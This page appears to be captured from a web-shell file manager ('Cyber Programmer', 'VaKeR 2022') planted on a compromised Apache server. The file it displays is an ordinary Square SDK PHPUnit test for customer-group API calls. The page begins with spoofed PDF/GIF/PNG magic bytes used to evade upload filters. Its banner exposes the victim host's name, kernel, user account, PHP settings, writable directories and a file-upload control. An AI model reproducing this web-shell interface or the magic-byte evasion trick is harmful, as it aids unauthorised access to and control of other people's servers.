%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/square/square/tests/Flows/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/square/square/tests/Flows/CustomerGroupsTest.php
<?php

namespace Square\Tests;

use Square\APIException;
use Square\APIHelper;
use Square\Exceptions;
use Square\Models\CustomerGroup;
use Square\Models\CreateCustomerGroupRequest;
use Square\Models\DeleteCustomerGroupResponse;
use Square\Models\UpdateCustomerGroupRequest;
use Square\Models\UpdateCustomerGroupResponse;
use Square\Models\RetrieveCustomerGroupResponse;
use Square\Models\ListCustomerGroupsResponse;
use Square\Models\CreateCustomerGroupResponse;
use Square\Apis\CustomerGroupsApi;

use PHPUnit\Framework\TestCase;

class CustomerGroupsTest extends TestCase
{

    /**
     * @var \Square\Apis\CustomerGroupsApi Controller instance
     */
    protected static $controller;

    /**
     * @var HttpCallBackCatcher Callback
     */
    protected static $httpResponse;

    /**
     * Setup test class
     */
    public static function setUpBeforeClass(): void
    {
        self::$httpResponse = new HttpCallBackCatcher();
        self::$controller = ClientFactory::create(self::$httpResponse)->getCustomerGroupsApi();
    }

    public function testListCustomerGroups() 
    {
        $apiResponse = self::$controller->listCustomerGroups();

        $this->assertTrue($apiResponse->isSuccess());
        $this->assertFalse($apiResponse->isError());
        $this->assertTrue($apiResponse->getResult() instanceof ListCustomerGroupsResponse);
    }

    public function testCreateCustomerGroup() 
    {
        // uniqid ensures that group name is unique 
        // used in test to avoid errors caused by concurrently running tests
        $body_group_name = uniqid('Great Customers');
        $body_group = new CustomerGroup(
            $body_group_name
        );
        $body = new CreateCustomerGroupRequest(
            $body_group
        );

        $apiResponse = self::$controller->createCustomerGroup($body);

        $this->assertEquals($apiResponse->getStatusCode(), 200);
        $this->assertTrue($apiResponse->isSuccess());
        $this->assertFalse($apiResponse->isError());
        $this->assertTrue($apiResponse->getResult() instanceof CreateCustomerGroupResponse);
        $this->assertTrue($apiResponse->getResult()->getGroup() instanceof CustomerGroup);

        return $apiResponse->getResult()->getGroup()->getId();
    }

    /**
     * @depends testCreateCustomerGroup
     */
    public function testRetrieveCustomerGroup($groupId) 
    {
        $apiResponse = self::$controller->retrieveCustomerGroup($groupId);;

        $this->assertEquals($apiResponse->getStatusCode(), 200);
        $this->assertTrue($apiResponse->isSuccess());
        $this->assertFalse($apiResponse->isError());
        $this->assertTrue($apiResponse->getResult() instanceof RetrieveCustomerGroupResponse);
        $this->assertTrue($apiResponse->getResult()->getGroup() instanceof CustomerGroup);
        $this->assertEquals($apiResponse->getResult()->getGroup()->getId(), $groupId);

        return $groupId;
    }

    /**
     * @depends testRetrieveCustomerGroup
     */
    public function testUpdateCustomerGroup($groupId) 
    {
        $body_group_name = uniqid('The Best Customers' );
        $body_group = new CustomerGroup(
            $body_group_name
        );
        $body = new UpdateCustomerGroupRequest(
            $body_group
        );

        $apiResponse = self::$controller->updateCustomerGroup($groupId, $body);

        $this->assertEquals($apiResponse->getStatusCode(), 200);
        $this->assertTrue($apiResponse->isSuccess());
        $this->assertFalse($apiResponse->isError());
        $this->assertTrue($apiResponse->getResult() instanceof UpdateCustomerGroupResponse);
        $this->assertTrue($apiResponse->getResult()->getGroup() instanceof CustomerGroup);
        $this->assertEquals($apiResponse->getResult()->getGroup()->getId(), $groupId);

        return $groupId;
    }

    /**
     * @depends testUpdateCustomerGroup
     */
    public function testDeleteCustomerGroup($groupId) 
    {
        $apiResponse = self::$controller->deleteCustomerGroup($groupId);

        $this->assertEquals($apiResponse->getStatusCode(), 200);
        $this->assertTrue($apiResponse->isSuccess());
        $this->assertTrue($apiResponse->getResult() instanceof DeleteCustomerGroupResponse);
    }
}

VaKeR 2022